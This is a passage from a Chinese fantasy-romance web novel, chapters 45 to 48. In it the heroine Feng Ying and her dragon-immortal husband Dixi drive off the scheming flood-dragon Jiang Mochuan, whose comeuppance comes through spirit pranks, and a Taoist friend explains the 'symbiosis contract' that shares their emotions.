“死黑蛟你要脸吗,咱们几个谁不知道小萦必须要在二月二晚上七点之前嫁给仙家续命,你他妈十点才回来! 等你?你算什么东西啊,你和别的女人勾搭在了一起还想让小萦冒着暴毙的危险等你回来施舍?” 柳云衣警惕地盯着江墨川,怒道: “小萦说得对,你就是个自私的畜生!你喜欢风柔又不肯放过小萦,你设计离间我们和小萦,你这哪里是报恩,你是和小萦有仇吧!” 江墨川不肯承认地吼回来: “本尊、只是一念之差!风萦,你缠了本尊四年,本尊不信你能放下。 过来,只要你现在肯低头认错,本尊可以既往不咎……” 我快要被他的话恶心死了,默默往龙仙怀里再挤挤: “我认你大爷的错!我为什么缠着你你自己心里没个数吗!” 他好似听不懂人话,大步迈过来要拉扯我:“跟本尊走!” 我见他要拽我,条件反射地一把搂住龙仙大人窄腰:“我不!” 他气冲冲伸过来抓我胳膊的手关键时刻被龙仙大人扼住,龙仙大人阴沉着脸,抬腿就是一脚再度把白眼狼江墨川踹飞出去。 揽过我的身子,抬袖护住我的脑袋,淬着寒意的紫眸幽冷阴戾: “当着本王的面就敢抢本王的夫人,蛟妖,你找死!” 说罢,龙仙大人拂袖又一掌神力重劈在江墨川胸口,江墨川还没来得及从地上爬起身,就被迎面击去的神力撞得魂魄离体,一口鲜血猛喷出来—— 流苏小丫头机灵地抓住机会又拽龙仙袖角: “姐夫,这个蛟刚才还要打二姐,他说这个家是他说的算,他还要抢占你的神位,把苏苏当柴劈了烧! 他说二姐如果不肯嫁给他,他就把二姐腿打断,还说除了他没人会要二姐,二姐就算真嫁给了别人,也只能嫁个废物、呃大蠢蛋……大垃圾! 姐夫,他这是看不起你啊!” 我:“???” 龙仙大人眯了眯狭长的凤目,眸光如刃恨不得在江墨川身上刺穿几百个血洞,稍一动手,就隔空活生生斩断了江墨川一根蛟骨…… 江墨川顿时捂住肋骨惨叫出声。 站在边上的胡玉衡愣了愣,意外地看向流苏,但又瞬间会意,秒懂了一切。 紧接着,立马配合流苏: “龙尊大人,他刚才还要把您的神位拿下来扔地上踩几脚! 他说小萦要是敢不嫁给他,就把小萦分尸,把小萦扔黄河里喂鱼!” 我:啊?! 龙仙大人俊脸阴沉得快要滴出水了,再次施法,震断江墨川右手手筋…… 江墨川上一声惨叫还没停呢,又手忙脚乱地捂起手腕,又一声凄厉哀嚎。 柳云衣与沈沐风相视一眼,像被打通了任督二脉,赶忙跟着趁机找龙仙大人告黑状: “龙尊大人,江墨川刚才放话说,等见到小萦的奸夫……就把他剁碎了喂狗!” “龙尊大人,他胆敢冒犯你,还说你是个十恶不赦的大妖物,只配给他舔脚,龙尊大人,你千万不能放过他啊!” 我:“……” 这一次,江墨川断的是右手和左肩胛骨…… “够了!” 接连的重伤痛得江墨川伏在地上满头冒汗,江墨川忍无可忍地咬牙憋疼,按住被血染红的肩头含泪破防大吼: “我什么时候说过这些了!风萦,你就这么看着他们欺负我?!” 啊?还有我的戏份? 我昂头看了眼冷着俊脸,眸底翻涌着凌厉杀气的龙仙大人,下一秒一头埋进他怀里,厚着脸皮一拳头捶他胸口上,将他捶得身子一震。 夹住嗓子冲他撒娇:“呜老公,你看他凶我——” 男人护在我脑袋上的手一抖,差点受惊过度把我扔出去…… 凛冽如冰的紫眸深处漾开一层凌乱的眸华,龙仙大人目光躲闪不适应地缓了半晌,才勉强保持威严地配合我: “如此聒噪,夫人害怕,那就杀了。” 第一卷 第45章 本王不会守你一辈子 轻描淡写的一句话吓得江墨川脸一白。 赶在龙仙大人动手前仓皇化作一缕黑雾飞去躲在一边面无血色的风柔身边,抓住风柔手就携她先跑一步。 啧,江墨川还算有一丁点人性,至少跑路还晓得带上风柔。 不过得亏他逃得及时,再慢半秒,龙仙大人掌中凝出的冰刃就真要将他扎成筛子了。 望着江墨川化作黑烟慌促逃走的身影,沈沐风厌恶道:“该!疼死你个瘪犊子!” 柳云衣叹道:“以前怎么没发现,这条死蛟无耻到这个程度。” “以前咱们都被他蒙在鼓里,他还想利用咱们达到目的,自然不会选择同咱们撕破脸,用真面孔应付咱们。” 胡玉衡深呼一口气,敬畏看向龙仙大人: “这次幸好龙尊大人现身教训了他,有龙尊大人在,以后江墨川应该不敢再随意踏足家里,骚扰小萦和苏苏了。” 柳云衣讨好凑过来给龙仙大人捶背: “大王威武!大王霸气!大王刚才护妻的行为帅呆了,尤其是把江墨川踹趴在堂屋门槛上的那一脚,太解气了!” 龙仙大人不屑扫他,冷冷道:“你们的账,本王下次一起同你们算!” 柳云衣心虚的缩了缩脖子,继续殷勤讨好龙仙大人:“大王说的是哪里的话,咱们不可能有下次,包的!” 沈沐风不理解地问柳云衣:“你……为什么改口叫龙尊大人、大王了?” 柳云衣虚伪笑笑:“啊?哈哈……龙尊大人是黄河龙族嘛,俺祖籍也是黄河的,所以……叫大王显得亲切!” 沈沐风哦了声,不要脸地跟着柳云衣一起拍龙仙大人马屁:“那我以后也称龙尊大人大王!” 柳云衣嘴角的笑意僵住,不乐意道:“你叫什么叫啊!你家又不是黄河的!” 沈沐风展开折扇没心没肺地拿在胸前摇摇:“我也可以把自己的尸骨从隔壁省挪过来嘛,小事。” 柳云衣:“……呵忒!” 胡玉衡稳重做决定:“既然这样,咱们以后都随云衣唤龙尊为大王。” 一本正经的抱拳行礼:“大王,我等日后愿追随大王,为大王龙首是瞻!” 大王这个称呼…… 蛮高级的。 我闷在他怀里昂头故意逗他:“那我以后也叫你……大王~” 九曲十八弯的“王”字还没抖完,就被他无情捂住嘴。 龙仙大人的眼神略有几分绝望,还有点嫌弃,蹙眉拒绝:“你别叫。你一叫……显得本王像昏君。” 我:“哈?” 流苏没眼看的为难提醒我:“二姐你别夹了……你像妖妃。” 我哽住,半晌,不服气地纠正道: “苏苏你这话说的不对,我就算像妖……那也是妖后!他没妃,我是名正言顺唯一的那个!” 龙仙大人冷眼睥睨我,不给面子道:“你怎知本王没有过妃子?” 我干笑两声,无情拆穿他:“你第一次入我梦的时候连我的衣服都不敢……唔!” 某龙仙黑着脸手快捂住我的嘴,红着耳尖拖我进屋:“风萦,你再胡说八道本王、杀了你!” 我:“呜呜呜!” 我哪里胡说八道了,他之前每次入我梦都生疏得要命,头几次抚我心口,指尖都在抖。 真是玩不起,还不许人说实话了。 愣在院子里的三个大男人面面相觑,一脸震惊。 “我总感觉,大王好像栽小萦手里了。” “你刚有的这种感觉吗?我早就发现,大王只有在小萦面前才会情绪如此丰富。” “你说,小萦总这么挑衅大王,会不会哪次真把大王惹急眼了……” “那顶多,大王自个儿钻进神位里生几天闷气。 大王要是真对小萦下得去手,小萦早就死八百次了。” “哎,大王对小萦真是打舍不得打,骂舍不得骂,只能被小萦气得老脸铁青。” “百因必有果,姐夫的报应,就是二姐!” “……苏苏,你小声些,你姐夫要是揍你,我可真拦不住。” 我被没良心的男人拖进屋,猛一把按在墙上,没好气地阴沉着俊脸责备: “你、以后能不能矜持点……本王不要面子么!” 我理亏的抿了抿唇,乖乖点头,“那我以后、给你留点面子。” 他脸色稍霁,紫眸愈冷:“别以为本王这次帮你,是对你……本王只是不喜欢被人惦记属于自己的东西。” 我理解的嗯了声:“我懂。” 他眸色微讶,缓了缓,又说: “本王的意思是,本王与你之间,只是盟友,不可能再有别的关系! 你的命,如今是本王的,本王护你,不过是怕你在外丢本王的脸。 本王不会一辈子守着你,你也勿要想着,依靠本王。” 我愣了下,但还是马上点头,表示体谅: “嗯,我知道,龙仙大人你放心,我没那么贪的,我不会像江墨川说的那样,厚脸皮缠着谁。 你对我有恩,本来就是我亏欠你,我会尽力配合你,助你恢复修为的。 我没想过要依靠谁,我会自己强大起来的。” 靠山山倒,靠人人会跑,这个道理我在江墨川设计让我亲眼看着他娶风柔时就已经大彻大悟了。 他蓦然走了神,我趁他心不在焉,弯腰从他手臂下钻了出去,“你先忙,我去洗衣服!” 随手捞了两件换下的衣服,我端着洗衣盆出去干活。 把他一个人留在了屋里。 流苏跟着胡玉衡他们去厨房劈柴了,我端着洗衣盆从后门出去,在附近的小清水河边蹲下来。 低头搓洗衣服,心里才慢慢开始有了反应…… 虽然早知道他会走,可现在这么明确地说出来,心里确实有些患得患失。 其实,这几天,我是起了一点贪心。 龙仙大人和其他仙家不一样…… 他会听我解释,会在我撑不住的时候给我兜底。 从前,我也相信过胡玉衡他们。 可他们后来却因为江墨川的挑拨,全都抛下了我。 我信过江墨川,时至今日我也忘不了,那个曾在我追着妈妈背影跑却摔倒在门槛外,朝我伸出一只手,温柔哄着我起身的墨衣男人异瞳染笑的模样。 忘不了他那双熠熠生辉,流光溢彩的好看异瞳,曾是多么温暖,多么柔和…… 那时候,我刚被从外面回来的我妈抛弃,他朝我伸手,拉了我一把,我就将他错当成了救赎。 可惜,他对我的好只持续到我选他做未婚夫的那天。 这些年我太孤独了,以至于感受到别人一点点好,就会生出贪念。 我知道这样不对,就像龙仙大人,他不过只是怜悯我才屡屡出面帮我,我也该坦然接受他会离开的事实。 可我就是在清楚听见他也会走的答案时,蓦然发觉,我这一生都在失去。 我妈抛弃了我,江墨川抛弃了我,胡玉衡抛弃了我,我这辈子,已经被抛弃了三回。 一想到未来可能还会有很多回,我就忍不住掉眼泪。 果然,人的成长,就是一次次盛大的离别。 泪水坠进池水中,激开层层涟漪…… 我抹去眼泪调整心态,把洗好的衣服泡进池中过一遍,拧干水,扔回洗衣盆里,端起回家。 不过怪的是,我竟然在后门外的小路上遇见了龙仙大人! 彼时他正背对着我站在小路上,抬手拭去俊容上的冰凉。 我好奇赶去打招呼:“你在这,有事?” 他茫然回身,指腹上凝着一滴水珠。 我不解地看天,下雨了? 他将指腹上的水珠收进掌中,别别扭扭地解释:“本王方才,话说得重了些……” 重吗? 没感觉啊。 哎,龙仙大人还是个会在意别人感受,心思细腻的男人呐。 “没有啊,我觉得还好。”我急着晾衣服,想先走:“你继续忙你的,我先去晾衣服。” 刚迈出去两步,胳膊就被他抓住。 他取走我怀里的洗衣盆放路边,拉上我的手沉沉说:“陪本王出去走走。” 我:“……啊?我的衣服!” 他拽着我就走:“回来再晾。” 我迟疑:“放久了容易捂出味!” 他没心没肺道:“捂出味就再洗一遍!” 我:“???” 洗衣服的不是他对吧! 龙仙大人也不晓得今天哪来的闲情雅致,竟然带我去田间地头闲逛。 农历二月正是油菜花开花的时节,不过这会子田里的油菜花只开了一小部分,大部分还处于含苞待放的阶段。 我走累了,特意在油菜花田上坡田埂挑了块干净的草地坐下。 但让我没想到的是,我刚坐下,龙仙大人就莫名其妙地用法术催开了整块花田的油菜花! 还和我说什么,看花心情会好些。 虽然一大片黄花绿叶的确很赏心悦目吧,可他也不至于…… 用油菜花编花环,编完还特意戴我脑袋上啊! 我怀疑,他是不是有什么不好意思说出口的话想暗示我。 那玩意戴我头上,我一上午都如鲠在喉。 不过看他对自己催开的大片油菜花很是满意,我也不好扫他的兴。 只能乖乖陪他在田埂上坐了两个小时,期间我脑袋上的花环还引来了十三只小蜜蜂。 好不容易等到他尽了兴,肯回去了。 进我家院门前,我还是没忍住问了他那个让我别扭一上午的问题: “帝曦……你是不是有心上人了?” 他怔住,眼神下意识避开:“本王、没有!” 我深表怀疑:“真没有?” 他毅然与我目光相接,郑重道:“真没有,你到底想说什么?” 我又问:“那你是不是有绿我的想法?” 他拧眉:“什么?” 我指了指脑袋上绿油油仅点缀几星黄色的花环: “那你为什么要给我戴绿帽子!我还以为你特意把我带油菜花田那边,特意给我编了个绿色花环,是想暗示我早做心理准备呢!” 他哽住,盯了我头上的东西一阵,可能也发现了不对劲,立马将那绿油油的花环取下来,脸色略添尴尬:“没有,本王只是、手艺不好。” 我抽了抽嘴角,干笑两声。 说实话,他的手艺确实不太好…… 编个油菜花环,花全撸掉了,只剩下绿叶了! 话说清,我们才推开院门回了家。 一进院子就看见了柳云衣那个铁憨憨。 “大王小萦,你们回来了!哇大王你手里拿的是什么,花环吗?” “嗯,赏你了!”龙仙随手把油菜花环丢给柳云衣。 柳云衣如获至宝地接住:“多谢大王!” 还傻兮兮地把油菜花环往头上一戴,转身问拿着漏勺刚从厨房里跑出来的流苏: “咋样,好看不!” 流苏看着他头上那一抹绿,表情僵硬地干笑:“哈、哈……好看。” 我心累扶额,仙家们的审美啊,真是不敢恭维。 晚上,仙家们不晓得都凑去龙仙大人跟前密谋着什么,连教苏苏课业都暂时搁置了。 密谋了大约四十来分钟,我和苏苏刚在厨房隔壁屋子洗完澡,出来就看见八道银色流光相继飞出了我家院子—— 流苏用毛巾擦着头发:“哇二姐,流星!” 我脑子宕机了那么几秒钟:“不对,是胡玉衡他们跑了……” 第一卷 第46章 我们只是盟友 次日,我才从柳云衣那得知,他们头天晚上跑出去暗算江墨川了。 龙仙大人法力高强,他们从龙仙大人那里求来了一个可以摆脱牌位束缚一夜的机会,跑去风柔家大闹特闹。 风柔给江墨川上药包扎伤口,他们把江墨川珍藏的治伤灵药换成了白盐。 风柔一巴掌按在江墨川伤口上,差点把江墨川痛的变回原形。 风柔见自己惹了祸,不知所措的只能站在江墨川床头哭唧唧。 可怜江墨川一边要忍着伤口被撒盐的剧痛,一边还要腾出精力反向安抚风柔。 好不容易把风柔安抚好了,黄仙又趁两人不注意,把他们家仅有的一小卷纱布啃成了一小段一小段。 以至于风柔拿过纱布使劲一拽,纱布直接飘落在了江墨川脑袋上…… 于是风柔又哭,声泪俱下的向江墨川解释自己没用多大力气。 刚把风柔哄好的江墨川只好再次耐着性子安抚风柔。 在接连扯断十来段纱布后,江墨川眼睁睁看着风柔把家里仅剩的那卷纱布全祸害光了。 无奈之下,用法力重新变了一卷。 好不容易处理完肩上的伤,江墨川要运功独自接上断骨手筋。 然而刚进行到关键步骤,风柔就自作主张地给江墨川熬了碗药膳。 风柔本想用药膳讨好江墨川,谁知进屋时被缺德的柳云衣故意绊了一跤。 那滚烫的药膳瞬间泼了江墨川一身,烫得江墨川嗷嗷乱叫不说,还打断了江墨川疗伤的法术。 结果就是,江墨川先被法术反噬得伤上加伤,又黑着张脸再而三地去哄摔在地上哇哇大哭的风萦…… 风柔头几回哭江墨川还能耐得住性子去安慰,后面哭多了,江墨川也明显哄得愈发吃力烦躁了。 许是意识到自己一晚上出了太多差错,影响到自己在江墨川心目中的好形象了,风柔最终索性选择……用自己的身体补偿江墨川。 可这几位损到姥姥家的仙家们怎会轻易放过他们。 结果就是,风柔与江墨川亲热他们摇床。 风柔媚眼如丝地搂着江墨川脖子唤他哥哥,他们设法让风柔嘴里喷臭气,熏得江墨川差点当场呕出来。 风柔脱衣服把江墨川的脑袋按在胸口,他们用障眼法让江墨川幻视风柔胸口烂肉长虫。 最终江墨川实在被熏得受不了了,连滚带爬地翻下床,捏着鼻子问了风柔一句: “你几天没洗澡了……身上怎么有股死老鼠味!” 然后就仓皇逃出了风柔家,一路奔去黄河边,把头闷黄河里泡了十来分钟才缓过神。 当然,江墨川的报应到底还没有真正结束。 再后来,他转身准备回家却脚一滑跌进了黄河里。 路过邻居家门口,反被人不小心泼了一身洗脚水。 走路崴脚险些摔破相,经过树下被断枝砸脑袋,就连进风柔家的院门都能被门槛绊摔个狗吃屎。 一夜下来非但没让他好受些,反而伤势更严重了。 江墨川不是没察觉到不对劲,他甚至都怀疑到龙仙大人头上了。 奈何他为了验证心中猜测翻我家墙头时,却看见我拉着龙仙大人在院子里玩五子棋…… 怀疑了一圈,硬是没怀疑到柳云衣他们身上。 回去后又被我那个蠢货大伯用运气背的说法一通洗脑,最终被迫接受了是自己走霉运的现实。 至于风柔,被她的墨川哥哥嫌身上有死老鼠味后就哭了一整晚。 还特意边洗澡边折腾出动静,企图吸引江墨川的注意力。 可惜江墨川被柳云衣胡玉衡他们一顿报复后已经没精力再管风柔了,回到风柔家就一头倒床上睡得像头死猪。 害风柔白在浴桶里泡了一夜,脸都泡肿了。 柳云衣兴致勃勃和我讲述他们的战绩时,我才恍然明白,怪不得昨晚我问龙仙大人胡玉衡他们去哪了,龙仙为了避开这个问题,不惜答应陪我玩他口中幼稚至极的五子棋…… 啧,龙仙大人一看就是故意放他们去收拾江墨川的! 而我也这才从胡玉衡口中得知,江墨川现在修为大减,都已经弱到察觉不出我家里有龙仙仙气的地步了。 究其原因……问题好像出在风柔身上。 江墨川和风柔做了那种事,会折损江墨川的法力。 江墨川可真是深爱风柔啊,为了和她在一起,连从前尤为看重的道行修为都不顾了。 我突然,有点钦佩江墨川了! 下午阿乞师叔和杨泽安杨大哥三个来我家聊赵大山的事。 说是柳云响这几天没再去赵家纠缠赵大山了,可能是那天晚上被龙仙大人伤得挺重,一时半会没力气出来闹事。 龙仙大人在牌位里休息,杨泽安和阿乞师叔有事找他,就去堂屋与龙仙大人私聊了。 杨大哥则留在外面陪我说话。 “收拾鱼怪那几天我耗损了太多真元,这几天总是打瞌睡,乏得很。 还好泽安和阿乞师叔在,我也能缓口气,有机会偷个懒了。 赵家的事就让他们去处理,反正他们闲着也是闲着…… 对了,听流苏说昨天那条黑蛟又来找你麻烦了?是那位龙王打跑了他?” 杨大哥托腮八卦的问我。 对于杨大哥好奇心很重这件事我早习以为常了,重重点头: “对啊,江墨川之前没见到龙仙大人,还以为我说嫁给了别的仙家是骗他的,是欲擒故纵,这才敢蹬鼻子上脸地跑我家来撒野。 昨天龙仙大人现身了,他看见了,还不知悔改地想拿捏我,龙仙大人是什么身份,肯定容不得别人将他视若无物啊,所以就揍了江墨川一顿。 嗯,挺解气的!” 杨大哥拍了拍身上的道袍,听得津津有味: “你与龙王这发展速度,倒还真快!龙王愿意护着你,可见你在他心中的地位不一般。” 我慵懒的往摇椅上一躺,伸手拽果盘里的葡萄: “用他的话说,我俩是盟友。和你说的不是一码事。” 杨大哥扬起拂尘搭在臂弯上:“此话怎讲?” 我咬破葡萄叹道: “我妈前几天过来看我了,她说,我得把自己的九片龙鳞找回来,不然就算现在得以借寿勉强保住了小命,九片龙鳞不在身上,我也随时都会有嗝屁的风险。 然后龙仙大人就和我说,他愿意帮我找龙鳞,但我须得助他恢复法力。 等九片龙鳞与他的修为都回来了,就是我和他的分别之时。” “九片龙鳞是得找,那九片鳞,可是你身上最紧要的仙鳞。 你只有找回它们,才能顺利渡过后面的天劫……” 杨大哥嘶了声,追问我: “龙王大人要你助他恢复法力,意思是,也需要你的血?” 我吞下葡萄摇头:“他不要我的血,他说,只要我们亲近……他就能恢复!” 杨大哥听后思忖片刻,突然大悟,一拍大腿激动道:“哦我懂了,双修!” 我差点被滚下喉头的葡萄噎死,老脸一红尴尬否认:“咳,不是!” 杨大哥斜眼觑我,表示不信,随后手中拂尘一挥,一本正经道: “道家讲,道生阴阳,阴阳交感生万物。万物负阴而抱阳,冲气以为和。 男女相好,结连理之欢,本就是双方互惠之举。仙者,也有双修可悟大道之说。 你本就体质殊于常人,现在又和龙王有了夫妻关系,按理说,你俩如今一阴一阳,常亲近,的确对双方都好。 你能帮龙王恢复修为,不奇怪。 你和龙王在一起,龙王也能给你滋养身子。 反正婚都结了,你啊,不用不好意思。 不管你与龙王是否能走到最后……至少你现在能受龙王恩泽。 他若注定是你的良人,他为你养身子,帮你找鳞片是理所应该。 他若和你有缘无分,你就当现在是找他收点给他当老婆的利息。 再说,双修这种事,你帮他,他也在帮你,本就是公平交易。 他需要你的力量多些,用帮你找龙鳞的人情还你,天经地义。 你杨大哥都懂!” 我无奈辩解: “杨大哥你真想多了,他没让我用那种方式帮他……反正我也不是很明白他讲的那些东西,大致意思是,我们之间好像有个什么共生契。 因为这个共生契,他必须靠亲近我才能恢复法力,而且还不能离我太远。” “共生契?”杨大哥面上表情一僵,瞬间打起精神,意外道:“原来你俩、结了共生契?!” 我点点脑袋:“对啊。杨大哥,共生契到底是什么东西?” 杨大哥揣着拂尘坐直身子,摸摸下颌神色凝重地深思道: “这东西我只在太师父珍藏的仙界秘籍中见过记载,记载很复杂,我结合你俩的情况简单和你解释吧!” 凑近我些,杨大哥稳重说: “龙王先前被封在血玉棺中,是你放出了他,你俩也因此,命运相绑。 表面看是你借了他的寿,得以续命,你欠了他。 实则,却是他借了你的运度过此劫。 被封在血玉棺中,便是他此生的一大劫! 而你,就是破他大劫之人。 所以你们之间才会冥冥中结下共生契,有这个契约在,你便可牵制他。 在契约没有消失前,他的法力还是会受压制,只有你才能解他体中禁锢。 只要他在你身边,就不会失去法力,可一旦他离开你超过一定范围,他就会法力减弱甚至失去法力。” 我哦了声:“他好像,的确是这么说的。” 杨大哥平静道: “这个共生契不会对你们俩产生任何伤害,只是强行将你们俩绑在一起。 从某些方面上来讲,这个共生契其实是在保护你。” “保护我?”我不解皱眉。 杨大哥颔首:“嗯,至少不用你担心哪天惹毛了龙王爷他会一口吞了你,毕竟他如今还需要你恢复修为呢,吃了你对他没有好处。” 我后知后觉地明白过来:“哦,怪不得我先前翻他的棺还不经过他同意就借他的寿,他没咬死我呢。” 杨大哥好笑道: “就不能是人家本来就没打算咬死你么?我能看得出来,他不讨厌你,能接受你。 他啊,就算没有共生契也不可能一口咬死你。” 我又拽了个葡萄放进嘴里,“那这个共生契,什么时候能解啊?” 杨大哥想了想,摇头: “不好说,共生契多时并非是人为,而是天意。反正共生契肯定能解,但什么时候会解我就不确定了。” 没良心地从我手边拿走果盘占为己有, “对了,共生契还有一个副作用……呃也不算副作用吧,反正算是你们结契的一个小反应。” “嗯?什么反应?”我赶忙坐起来问。 第一卷 第47章 帝曦,能不能让我摸一下你尾巴…… 杨大哥拽下葡萄塞嘴里吐核: “你这段时间自己没有感受到吗?结了共生契的两人是会感觉互通的! 当然不是身体的感觉互通,而是心感。 你可以感知到对方的喜怒哀乐,如果对方生气,你也会觉得生气。 对方难过,你也能感受到难过,同理,对方开心你也会开心。 总之,你心中感受到的,但凡不是自己该有的情绪,就都是对方的。” 心感互通…… 我猛地想起来:“是哦!我这几天的确总会感受到奇怪的情绪,只是我没想到那些情绪并不属于我。” 杨大哥狂吃葡萄:“对,这就是共生契给你们的心灵共感!很好用吧!” 我抖了抖唇角,干笑两声。 好用个屁,这几天龙仙大人的心情跟过山车似的忽好忽坏。 我有两次还感受到他动了杀心…… 虽然不知道他到底是对谁动了杀心…… 可他每次一动那种狠心思,我就后背发毛。 我悲伤得努努嘴,捂住自己的小心脏欲哭无泪: “我的体验感觉是,有了这个特异功能,我迟早会被龙仙大人的情绪整出心脏病!” 亏我还觉得龙仙大人是个情绪稳定的男人呢,谁知他老人家天天在心里刮沙尘暴啊…… 不对!那他岂不是也能感受到我的情绪? 所以,他昨天特意带我去看油菜花,还告诉我,看花能让人心情变好,是因为他感受到,我在难过? 难怪,他会特意告诉我,是他不好,他话说重了…… 我越想心越乱,扑在小桌子上着急问杨大哥:“那个,我心里在想什么,他不会知道吧?” 杨大哥挑眉:“只是心感共通,又不是读心术。对方心里在想什么会不会被发现,你自己不清楚吗?” 我猛松一口气,如释重负,拍拍胸脯:“啊那就好!不然我岂不是没隐私了!” 杨大哥见我这怂样,没忍住轻笑出声。 杨泽安和阿乞师叔见过龙仙大人后,才告诉我他们到底凑在一起密谋什么。 阿乞师叔查出了赵大山和前妻的女儿赵朵朵死后魂魄并没有下去报到。 而是被赵大山卖给了省城一富商,做了童养媳…… 至于富商的儿子,五年前就已经跳楼身亡了。 据说是因为富商整天高强度逼迫儿子学习,而他儿子又本就不是脑子聪明,学得进文化课的那块料。 是以在富商夜以继日的高压鞭策下,富商儿子在小升初考试的前一天,从学校六楼楼顶一跃而下…… 脑浆都摔了一地。 杨泽安说,那富商其实是个暴发户,出生于农村家庭,十来岁初中没念完就辍学了。 后来跟着社会上认识的大哥做生意,结果被他抓住了某个风口,一夜暴富。 富商二十岁就当上了大老板,虽然财运一直都不错,运气几乎好到每天躺在床上啥也不干,公司就会有好几百万外来资金进账。 但物质条件越丰富,他就越觉得自己文化水平太匮乏。 为了弥补自己没有上完中学考大学的遗憾,他特意娶了个研究生学历的老婆给自己传宗接代。 他儿子更是刚出生不满一岁就被他送去上艺术班学音乐绘画。 他深知自己是运气好暴发户出身,为了确保儿子长大能守得住这份丰厚家业,在孩子刚开始上幼儿园时就给孩子定下了要考京大重点专业的目标。 别人家孩子还在学十以内的数字时,他的儿子已经开始被乘法表了。 别人家孩子刚上一年级,拼音都念不熟,他就已经开始逼着自家孩子背文言文了。 他儿子才刚上小学二年级,他就疯狂给他儿子报各种兴趣班,不仅剥夺了儿子周六周日的休息时间,连中午与晚上放学那丁点空闲都要硬塞几节奥数课。 奈何他儿子在智商方面并没有随十六岁就成为本省高考状元,考上京大保密专业的母亲,他越逼着儿子学,他儿子越学得稀碎。 加上他原本就没文化,不懂得怎么教育子女,发现儿子吃不消那么繁重的课业第一反应不是适当为儿子减轻点负担,却是解下皮带边抽边骂儿子长了个猪脑子…… 于是他儿子小小年纪就确诊了重度抑郁。 知识的匮乏让他坚定地以为重度抑郁就是矫情病,还扬言多打几顿就好了。 这才导致儿子小小年纪就扛不住父亲给予的重压,选择跳楼解脱了。 直到儿子死后,富商才开始后悔。 好巧不巧,富商又在此时诊断出因过度劳累而导致那方面功能受阻,质量不好,以后可能会不孕不育。 为了保住自己的家产,富商花重金请了先生给自己延续本家财运。 请来的先生为他出了个主意,说是把儿子的魂困在坛子里,就能保他们家一辈子大富大贵。 那个跳楼的儿子,最终再次被困在了父亲的掌控中。 这几年富商儿子总是反抗得厉害,先生说给儿子找个小女孩陪着,儿子应该就不会闹了。 后来,朵朵就被赵大山以八万块钱的价格卖给了富商委托的中间人。 然而阿乞师叔找到富商家的时候,却发现朵朵已经不在富商家了。 富商的儿子告诉阿乞师叔,朵朵两个月前被她妈妈接走了。 所以,现在那条母蛇肚子里怀的,极有可能就是魂魄受损严重的朵朵! 如果真是这样的话,那一切就已经明了了。 柳云响把身体借给赵大山前妻,赵大山前妻去纠缠赵大山,汲取赵大山精元,只是为了重新孕育朵朵…… 阿乞师叔他们算过日子,母蛇产期就在这半个月内,他们想求龙仙大人帮忙施法掩藏母蛇的气息,保母蛇能顺利生下孩子。 原本母蛇只要在这段时期不铤而走险再去找赵大山算账,找个洞平安待产,就不需要请龙仙大人出手。 可重点是,江墨川也在四处寻找母蛇的踪迹。 众所周知,现在能降得住江墨川这只白眼狼的,只有龙仙大人。 送走杨大哥他们后,我没忍住跑屋里把龙仙大人从牌位里晃出来。 “帝曦!江墨川为什么非抓着柳云响不放啊?” 龙仙大人一道金光飞出来,凝影在我背后,冷冷道: “柳云响身上有个灵气很重的东西,大概率是蛇妖内丹,江墨川应该就是冲着此物来的。” 我点头:“哦!我知道这个东西,妖物的内丹能让别的妖增长修为,变厉害!” 龙仙大人嗯了声,但很快便冷脸吓唬我:“风萦,谁给你的胆子把本王晃出来的!信不信本王、” 不等他放狠话,我就放下牌位搂住他胳膊把他拽了出去: “不信!哎呀下次我尽量不晃你不就得了,你凶什么啊。 走啊出去晒太阳,我刚做了葡萄果汁,你去尝尝!” 龙仙大人不悦拧眉,面上冷冰冰的,但我却并没有感受到他心里有一丝抗拒…… 嗯,情绪共通还是有点用的! 很快,上一刻还一脸不高兴的龙仙大人,下一刻就被一杯葡萄果汁给哄好了。 给傲娇龙顺毛,手拿把掐! 不过…… 我想起了那天晚上在赵大山家附近,他现原形从牌位里飞出来救我的画面—— 威武霸气,身披鳞甲,龙目如炬,乘风御气。 周身仙泽浩瀚,龙吟震彻天地。 墨鳞冷光凌冽,鳞边紫星熠熠…… 实在是帅! 真龙自带的王者威压气场已经足够诱人了,他的鳞片,好像还是墨紫渐变…… 好想摸啊。 他许是察觉到我心底生出了危险想法,放下果汁杯警惕问我:“你这样看着本王做什么?” 我立马讨好地蹲到他腿边,乖乖揣手放在他膝上,不要脸地请求: “帝曦……你能不能,让我撸一下你的尾巴?” 他一怔,俊脸迅速浮上一抹红晕,防贼似的一袖子拂开我,起身就走:“风萦你、做梦!” 看着他毫无留恋大步流星走远的背影,我感受着胸膛内那丝异样的悸动,尴尬嘁了声。 “不摸就不摸……撸不到龙,我去撸狐狸!” 于是等胡玉衡和流苏傍晚从外面散步回来,我果断扯着胡玉衡进堂屋,好声好气地求他变个原形给我过过眼瘾。 胡玉衡以为我是想看他七条雪白蓬松的大尾巴了,一副长辈看小辈的宠溺表情,目光慈爱的砰一声化出了七尾白狐原形。 优雅地抬了抬长嘴筒子,勾着一双摄人心魄的琥珀色狐狸眼大度道: “看吧!你要是喜欢,明天我可以用前几年掉的毛给你织个围脖。” 谁要什么狐狸毛围脖啊,我要的是……疯狂撸他脑袋! 也不知道狐狸摸起来的手感和村头大黄有什么区别。 我昂头望着他坐地上个头比我还高的庞大白狐原形,没出息地咽了口口水。 伸出手,正准备出其不意狂摸一把他毛茸茸的脑袋呢…… 却没料到刚抬起的胳膊忽被一只骨节分明,修长如玉的大手攥了住。 下一秒,我就被他一个瞬间挪移带回了卧房! 卧房门哐一声紧闭上。 我的脑子还没反应过来发生了什么,抬眼便看见一条周身笼着仙雾,身披墨紫鳞甲的巨龙目光冷傲地耸立在我跟前,低头俯视我—— 咬咬牙,恨铁不成钢地粗声命令:“摸!” 我:“……” 第一卷 第48章 龙仙大人,你有腹肌吗? 我傻眼地站在大黑龙跟前,猛抽嘴角! 这算什么…… 上天的馈赠吗? 但是,目光落在他身上流光溢彩、微微翕动的冷紫鳞片上…… 落在他魁梧霸气,高大威武的真龙身躯上…… 落在他那双清冷冰澈的烟紫幽瞳上—— 我真的会、控制不住自己的爪子。 “那个……真能摸吗?”我不放心地再次确认。 大黑龙眯了眯深冷龙目,呼吸粗重:“能!” 我蠢蠢欲动:“你不会事后剁我爪子吧!” 龙仙额角青筋凸起,耐着性子:“不会!” “你发誓,我摸了不会有任何副作用……” “嗯,本王发誓,你摸了……本王一定不弄死你。” “你……” 我还要再说,龙仙大人却没耐心地咬牙抬高声打断:“你到底摸不摸了!” 我一哆嗦,忙点头如捣蒜:“摸摸摸!” 